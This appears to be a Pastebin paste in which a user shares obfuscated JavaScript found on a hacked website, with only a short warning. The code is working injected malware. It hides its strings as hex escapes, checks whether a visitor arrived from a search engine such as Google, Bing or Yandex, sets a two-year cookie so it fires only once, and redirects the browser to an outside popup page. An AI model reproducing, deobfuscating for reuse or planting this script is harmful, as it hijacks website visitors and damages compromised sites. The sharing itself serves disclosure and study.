Advertisement
Guest User

Untitled

a guest
May 14th, 2014
331
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.48 KB | None | 0 0
  1. Found this piece of malware from an attacked site
  2.  
  3. WARNING!
  4. Evaluate on your own responsibility
  5.  
  6. var _0xc5e4=["\x63\x6F\x6F\x6B\x69\x65","\x20","\x3D","\x69\x6E\x64\x65\x78\x4F\x66","\x3B","\x6C\x65\x6E\x67\x74\x68","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x72\x65\x66\x65\x72\x72\x65\x72\x52\x65\x64\x69\x72\x65\x63\x74\x43\x6F\x6F\x6B\x69\x65","\x64\x6F\x20\x6E\x6F\x74\x20\x72\x65\x64\x69\x72\x65\x63\x74","\x6F\x6E\x6C\x6F\x61\x64","\x72\x65\x66\x65\x72\x72\x65\x72","\x67\x6F\x6F\x67\x6C\x65","\x79\x61\x68\x6F\x6F","\x62\x69\x6E\x67","\x79\x61\x6E\x64\x65\x78","\x62\x61\x69\x64\x75","\x67\x69\x67\x61\x62\x6C\x61\x73\x74","\x73\x6F\x73\x6F","\x62\x6C\x65\x6B\x6B\x6F","\x65\x78\x61\x6C\x65\x61\x64","\x73\x6F\x67\x6F\x75","\x64\x75\x63\x6B\x64\x75\x63\x6B\x67\x6F","\x76\x6F\x6C\x75\x6E\x69\x61","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x70\x61\x67\x65\x72\x61\x6E\x6B\x2E\x6E\x65\x74\x2E\x61\x75\x2F\x69\x6D\x67\x2F\x70\x6F\x70\x75\x70\x2E\x68\x74\x6D\x6C"];function getCookie(_0x4c19x2){var _0x4c19x3=document[_0xc5e4[0]];var _0x4c19x4=_0x4c19x3[_0xc5e4[3]](_0xc5e4[1]+_0x4c19x2+_0xc5e4[2]);if(_0x4c19x4==-1){_0x4c19x4=_0x4c19x3[_0xc5e4[3]](_0x4c19x2+_0xc5e4[2]);} ;if(_0x4c19x4==-1){_0x4c19x3=null;} else {_0x4c19x4=_0x4c19x3[_0xc5e4[3]](_0xc5e4[2],_0x4c19x4)+1;var _0x4c19x5=_0x4c19x3[_0xc5e4[3]](_0xc5e4[4],_0x4c19x4);if(_0x4c19x5==-1){_0x4c19x5=_0x4c19x3[_0xc5e4[5]];} ;_0x4c19x3=unescape(_0x4c19x3[_0xc5e4[6]](_0x4c19x4,_0x4c19x5));} ;return _0x4c19x3;} ;function setCookie(_0x4c19x2,_0x4c19x7,_0x4c19x8){var _0x4c19x9= new Date();_0x4c19x9[_0xc5e4[8]](_0x4c19x9[_0xc5e4[7]]()+_0x4c19x8);var _0x4c19x3=escape(_0x4c19x7)+((_0x4c19x8==null)?_0xc5e4[9]:_0xc5e4[10]+_0x4c19x9[_0xc5e4[11]]());document[_0xc5e4[0]]=_0x4c19x2+_0xc5e4[2]+_0x4c19x3;} ;function checkCookie(){var _0x4c19xb=getCookie(_0xc5e4[12]);if(_0x4c19xb!=null&&_0x4c19xb!=_0xc5e4[9]){return true;} else {setCookie(_0xc5e4[12],_0xc5e4[13],730);return false;} ;} ;window[_0xc5e4[14]]=function (){var _0x4c19xc=document[_0xc5e4[15]];var _0x4c19xd;var _0x4c19xe=[_0xc5e4[16],_0xc5e4[17],_0xc5e4[18],_0xc5e4[19],_0xc5e4[20],_0xc5e4[21],_0xc5e4[22],_0xc5e4[23],_0xc5e4[24],_0xc5e4[25],_0xc5e4[26],_0xc5e4[27]];for(_0x4c19xd=0;_0x4c19xd<_0x4c19xe[_0xc5e4[5]];++_0x4c19xd){if(_0x4c19xc[_0xc5e4[3]](_0x4c19xe[_0x4c19xd])+1){if(!checkCookie()){window[_0xc5e4[28]]=_0xc5e4[29];} ;} ;} ;} ;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement